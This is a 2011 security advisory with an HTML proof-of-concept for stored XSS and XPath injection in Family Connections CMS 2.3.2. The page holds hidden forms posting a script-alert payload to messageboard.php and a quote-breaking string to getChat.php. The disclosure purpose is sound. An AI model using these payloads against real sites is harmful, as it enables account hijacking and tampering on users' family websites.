Family Connections CMS 2.3.2 XSS / XML Injection

🗓️ 25 Mar 2011 00:00:00Reported by LiquidWormType

packetstorm🔗 packetstormsecurity.com👁 16 Views

Family Connections CMS 2.3.2 Stored XSS And XPath Injection vulnerability in messageboard and getChat scrip

`<!--  
  
  
Family Connections CMS 2.3.2 (POST) Stored XSS And XPath Injection  
  
  
Vendor: Ryan Haudenschilt  
Product web page: http://www.familycms.com  
Affected version: 2.3.2  
  
Summary: Family Connections is an open source  
content management system. It makes creating a  
private, family website easy and fun.  
  
Desc: FCMS suffers from a stored XSS vulnerability  
(post-auth) in messageboard.php script thru the  
'subject' post parameter. XPath lies in the  
/inc/getChat.php script with 'users' get parameter with  
no args, and post parameter 'message'.  
  
Tested on: Microsoft Windows XP Professional SP3 (EN)  
Apache 2.2.14 (Win32)  
PHP 5.3.1  
MySQL 5.1.41  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
liquidworm gmail com  
Zero Science Lab - http://www.zeroscience.mk  
  
  
Advisory ID: ZSL-2011-5004  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5004.php  
  
  
22.03.2011  
  
  
-->  
  
  
  
<html>  
<title>Family Connections CMS 2.3.2 Stored XSS And XPath Injection</title>  
<body bgcolor="#1C1C1C">  
<script type="text/javascript">  
function xpath(){document.forms["xpath"].submit();}  
function xss(){document.forms["xss"].submit();}  
</script>  
<form action="http://FCMS/inc/getChat.php" enctype="application/x-www-form-urlencoded" method="POST" id="xpath">  
<input type="hidden" name="message" value="\\';--\\";--" /></form>  
<a href="javascript: xpath();" style="text-decoration:none">  
<b><font color="red"><center><h3><br /><br />Exploit XPath!<h3></center></font></b></a>  
<form action="http://FCMS/messageboard.php" enctype="application/x-www-form-urlencoded" method="POST" id="xss">  
<input type="hidden" name="subject" value='"><script>alert(1)</script>' />  
<input type="hidden" name="post" value="waddup" />  
<input type="hidden" name="name" value="1" />  
<input type="hidden" name="post_submit" value="Submit" /></form>  
<a href="javascript: xss();" style="text-decoration:none">  
<b><font color="red"><center><h3><br /><br />Exploit XSS!<h3></center></font></b></a>  
</body></html>  
`

25 Mar 2011 00:00Current

0.2Low risk

Vulners AI Score0.2